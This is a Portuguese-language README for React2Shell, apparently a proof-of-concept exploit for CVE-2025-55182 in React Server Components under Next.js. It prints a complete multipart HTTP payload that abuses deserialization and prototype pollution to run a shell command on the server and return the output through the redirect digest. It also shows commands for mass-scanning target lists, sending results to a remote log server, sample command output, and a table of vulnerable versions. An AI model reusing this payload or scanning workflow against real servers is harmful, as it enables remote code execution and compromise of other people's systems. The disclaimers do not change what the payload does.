
React2Shell é um exploit de prova de conceito para CVE-2025-55182 que afeta implementações vulneráveis de React Server Components (RSC) no Next.js.
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Escrito por INDRA
Este projeto é fornecido apenas para fins educacionais, pesquisa de segurança e testes de penetração autorizados.
O autor não assume nenhuma responsabilidade por mau uso ou danos causados por este software.
Use este exploit apenas contra sistemas que você possui ou para os quais tenha permissão explícita para testar.
React2Shell é um exploit de prova de conceito para CVE-2025-55182 que afeta implementações vulneráveis de React Server Components (RSC) em Next.js.
O exploit envia uma requisição multipart elaborada que abusa do fluxo de desserialização vulnerável e extrai a saída de comandos por meio da resposta de digest de redirecionamento da aplicação.
Quando bem-sucedido, o exploit exibe a saída do comando executado diretamente no terminal.
Python 3.8+
Instale as dependências:
pip install requests urllib3
.
├── exploit.py
└── README.md
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
Execute
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
🚀 Loaded 42 targets (HTTP + HTTPS)
🔥 [VULNERABLE] https://target.com/
💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
O uso não autorizado deste software contra sistemas sem permissão pode violar leis locais, nacionais ou internacionais.
O autor não é responsável por qualquer mau uso.
Boas caçadas 🕷️
| Versão | Status |
|---|
| 19.0 | ⚠ Vulnerável |
| 19.1.0 | ⚠ Vulnerável |
| 19.1.1 | ⚠ Vulnerável |
| 19.2.0 | ⚠ Vulnerável |
| 19.0.1 | ✅ Corrigida |
| 19.1.2 | ✅ Corrigida |
| 19.2.1 | ✅ Corrigida |
| Opção | Descrição |
|---|
-u | URL do alvo |
-f | Arquivo contendo domínios alvo |
-o | Salvar alvos vulneráveis localmente |
-l | Enviar resultados para servidor de log remoto |
-h | Exibir ajuda |